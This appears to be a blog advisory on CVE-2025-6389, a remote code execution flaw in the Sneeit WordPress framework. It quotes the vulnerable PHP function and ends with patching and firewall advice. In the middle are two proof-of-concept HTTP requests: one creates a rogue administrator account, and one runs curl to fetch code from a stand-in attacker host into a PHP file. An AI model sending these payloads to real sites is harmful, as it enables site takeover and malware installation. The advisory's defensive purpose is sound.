If you use any Sneeit WordPress themes or plugins, you should probably update it now. The Sneeit framework was found to have several vulnerabilities including remote code execution detailed in CVE-2025-6389. Although several exploits are possible, I’m going to explain remote code execution and how an attacker could install malware or ransomware onto your WordPress site if you have an outdated Sneeit framework version.
What is an RCE Vulnerability?
As you can probably guess, you don’t want anyone on the internet to run files on your server, especially executables that interact with underlying operating system functionality. For this reason (and many others!) you always sanitize input. Developers often think that internal functions in an application aren’t used by the general internet public, so it’s not necessary to validate input and check for malicious content. In these scenarios, a WordPress function that can be called indirectly from user input leaves your site open to exploits. Usually, an attacker can call a function even if it’s not intended to be used by users.
Remote code vulnerabilities allow attackers to run scripts in underlying code. The scripts could affect the server, your customers, administrators, or all three. In a WordPress environment, it could lead to manipulation of administrator functions in WordPress, like creating an admin user or resetting the admin password to give an attacker control of the site.
In some attacks, attackers can run scripts on a vulnerable server that point to a dropper, which is a term given for a file that pulls malware from the internet and executes it on the server. This type of attack is especially dangerous, because it can result in execution of ransomware. Once ransomware runs, you can potentially lose all your data if you don’t have a sufficient backup.
Where is the Code Vulnerability?
It should be noted that you don’t need a Sneeit WordPress template or theme to have the code execution vulnerability behind CVE-2025-6389. The Sneeit framework is bundled with several themes and plugins including Case Theme User and Bravis User, so you should look for the following function in your WordPress code to identify if you are vulnerable:
facebook_ajax_login_callback()
or
sneeit_articles_pagination_callback()
This first function is meant for pagination and callbacks to authenticate a user into their Facebook account prior to making a comment on a third-party site (your site being the third party if you have it integrated into your blog posts). If you don’t want to search your files or you’re unsure if you have the function, you can use the WP Directory to search the entire WordPress repository. Note that you would need to recognize the plugin and know that you have it installed if you find several plugins that use the Sneeit framework. I should note that I could not find these functions using WP Directory, so the other option is to use a plugin like String Locator.
The facebook_ajax_login_callback() allows user input to run a callback function. Attackers can use facebook_ajax_login_callback() to then call the vulnerable Sneeit function in a chained “callback” that eventually executes malicious code. The vulnerable Sneeit function is named sneeit_articles_pagination_callback().
Sneeit’s vulnerable function sneeit_articles_pagination_callback() retrieves user input but does not validate it. User input for this function decides the callback function, meaning the function that will execute. The executed function could be anything, including system code. The facebook_ajax_login_callback function calls the Sneeit sneeit_articles_pagination_callback function, which then allows arbitrary code execution. Here is the vulnerable Sneeit function code:
function sneeit_articles_pagination_callback() {
$callback = sneeit_get_server_request('callback');
if (function_exists($callback)) {
$args = sneeit_get_server_request('args');
$args = json_decode( trim( wp_unslash( $args ) ), true );
call_user_func($callback, $args);
}
die();
}
In the above code, the callback function is retrieved from a server request. Server requests are sent by users, so the $callback variable should be checked for malicious input, even though in this scenario the request is done from an internal function. It does not validate input, so this is the location of the vulnerability.
To summarize the above function code vulnerability:
- A web user (or in this case the facebook_ajax_login_callback function) sends a request with a variable named “callback.”
- PHP parses out the arguments for the function in an array named $arg.
- Function with arguments is executed
CVE-2025-6389 Proof of Concept
For simplicity, I’ll take out the call to facebook_ajax_login_callback(). Just know that if you have this function in your code with the Sneeit framework, you are vulnerable if you have not updated Sneeit to version 8.4.
Let’s look at the first PoC:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded action=sneeit_articles_pagination&callback=wp_insert_user&args=user_pass=123&user_login=helloAttacker&[email protected]&first_name=me&last_name=attacker&role=administrator&ajax_handler=sneeit_articles_pagination
In the above Sneeit exploit PoC, the server request posts to admin-ajax.php in an attempt to get it to call the vulnerable sneeit_articles_pagination function. The arguments then call wp_insert_user as the callback function with arguments to create a new administrator user. Should this server request succeed, the attacker could log in with their new administrator account and take over your WordPress site.
Here is a similar request, but the intent is to download malware from the web:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded action=sneeit_articles_pagination&callback=system&args="curl -sL https://attacker-site.com/malware-instructions.txt -o tijtewmg.php
In this attack, malware instructions on the web are written to a local server file tijtewmg.php (the actual file name seen in the wild) using cURL.The hosted malware-instructions.txt file contains php code to execute. The code is saved to a local PHP file named tijtewmg.php. The attacker can then call the file from a browser (or in a custom script) to execute anything that they want. Usually, this “anything” is malware of some type including ransomware.
You don’t want ransomware on your site, especially if you don’t have frequent backups. Your files will be encrypted and can’t be recovered even if you’ve heard differently. As a matter of fact, scammers will try to extort you for more money with the promise of getting your files back. Even with backups, you still lose some data.
What You Can Do to Protect from Plugin Vulnerabilities
In your WordPress dashboard, you should see notifications when a plugin has an update. Some themes purchased outside of the WordPress marketplace don’t show notifications in the dashboard, but you can usually check the settings from their custom dashboard in WordPress. If not, check the developer site for updates.
Web application firewalls (WAFs) like CloudFlare and WordFence also block malicious requests. CloudFlare blocks requests sending malicious input, and WordFence blocks bots looking for vulnerabilities on your WordPress website. Having both reduces risks of being compromised, but you should also fix the issue in your code.
If you have the Sneeit Framework installed on your WordPress site, update it to version 8.4. Any version prior to 8.4 is vulnerable to exploitation. You can find the upgrade option in your WordPress dashboard in the plugins section.